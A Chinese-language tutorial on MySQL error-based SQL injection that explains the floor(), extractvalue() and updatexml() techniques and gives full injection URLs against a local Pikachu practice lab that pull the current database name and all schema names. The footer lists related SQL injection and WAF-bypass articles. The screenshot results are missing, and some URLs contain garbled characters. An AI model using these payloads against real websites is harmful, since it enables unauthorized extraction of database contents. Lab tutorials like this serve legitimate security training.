目录

一、报错注入的定义

二、利用报错注入的前提

三、报错注入的优缺点

四、构造报错注入的基本步骤

五、常见的报错注入函数

六、报错注入演示(只演示前三个)

1.利用floor()函数进行报错注入

(1)获取当前数据库库名 :

2.利用extractvalue()函数进行报错注入

(1)获取当前数据库库名

(2)获取所有的数据库库名

(3)使用substr()函数截取所有的数据

3.利用updatexml()函数进行报错注入

(1)获取当前数据库库名

(2)获取所有数据库库名


一、报错注入的定义

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

二、利用报错注入的前提

1.页面上没有显示位,但是必须有SQL语句执行错误的信息。

三、报错注入的优缺点

1.优点:不需要显示位,如果有显示位建议使用union联合查询。

2.缺点:需要有SQL语句的报错信息。

四、构造报错注入的基本步骤

  1. 构造目标查询语句;
  2. 选择报错注入函数;
  3. 构造报错注入语句;
  4. 拼接报错注入语句;

五、常见的报错注入函数

  1. floor();
  2. extractvalue();
  3. updatexml();
  4. geometrycollection();
  5. multipoint();
  6. polygon();
  7. multipolygon();
  8. linestring();
  9. multilinestring();
  10. exp();

六、报错注入演示(只演示前三个)

1.利用floor()函数进行报错注入

主要报错原因为:count()+rand()+group_by()导致主键重复。

因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

(1)获取当前数据库库名 :

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+&submit=æ¥è¯¢

查询结果:

2.利用extractvalue()函数进行报错注入

extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。

语法: extractValue(xml_document, xpath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串);

Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错

!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());

(1)获取当前数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select database())))--+&submit=æ¥è¯¢

查询结果:

(2)获取所有的数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+&submit=æ¥è¯¢

查询结果:

由于extractvalue()函数一次性最大只返回32位,所以接下来可以使用substr()函数输入所有的数据

(3)使用substr()函数截取所有的数据

    http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and extractvalue(1,concat(1,(select substr((select group_concat(schema_name) from information_schema.schemata),1,20)))) --++&submit=æ¥è¯¢

查询结果:

3.利用updatexml()函数进行报错注入

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

语法:UPDATEXML (xml_document, XPathstring, new_value)。

第一个参数:xml_document,文档名称。

第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

第三个参数:new_value,String格式,替换查找到的符合条件的值。

!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());

(1)获取当前数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--++&submit=æ¥è¯¢

查询结果:

!0x7e为“~”。

(2)获取所有数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--++&submit=æ¥è¯¢

group_concat()函数表示将数据一次性输出。

查询结果:

如果需要上边工具的小伙伴可以私信我

SQL注入-报错注入相关推荐

  1. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

  6. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  7. mysql dba盲注_MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show ...

  8. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

  9. SQLi LABS Less-12 联合注入+报错注入

    第十二关是双引号+括号的字符型注入 , 推荐使用联合注入.报错注入. 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入:a") or 1 ...

最新文章

  1. vbs脚本在服务器上虚拟按键,iisvdir.vbs iis虚拟目录管理脚本使用介绍
  2. python之路_Python之路【第二篇】:Python基础(一)
  3. ajax请求失败后重连和promiseIfy
  4. 第 19 章 保护方法调用
  5. anaconda tensorflow import PIL 报错的解决方法
  6. 操作系统--虚拟内存、逻辑地址、线性地址、物理地址
  7. 《基于MFC的OpenGL编程》Part 3 Drawing Simple 2D Shapes
  8. ussd代码大全_如何运行USSD代码
  9. 如何在计算机自动开机时选择用户,电脑如何设置自动开机,详细教您如何设置...
  10. arm64的prefetch/prefetchw/spin_lock_prefetch
  11. 去中心化通信简易方案
  12. 探索设计模式之六——单例模式
  13. 别混淆区别很大 LED网格屏和格栅屏区别对比及分析
  14. Fer2013表情识别Group_Project_Document
  15. Word:更改文中全部“英文双引号”为“中文双引号”
  16. Symbian日薄西山了么
  17. WebAssembly 学习笔记
  18. matlab fourier变换反变换
  19. Laya Shader消融特效
  20. 安全与专业双向加持 平安云赋能金融客户上云

热门文章

  1. 图片更改分辨率怎么改?电脑照片分辨率怎么调?
  2. poj1185炮兵阵地【状压dp】
  3. Java语言入门程序编写 - Hello world
  4. 华为android能用几年,安卓手机还能用3年?目前哪几款比较保值呢?
  5. HTML学生个人网站作业设计:(宠物官网8页)——bootstarp响应式含有轮播图,响应式页面
  6. Google AI也做预言家:现场预测NCAA Final Four比赛获胜者
  7. 3.开发社区核心功能
  8. Mac 上的传奇效率神器 Alfred 3
  9. 实战二:绘制《植物大战僵尸》中的石头怪
  10. Java集合中contains方法的效率对比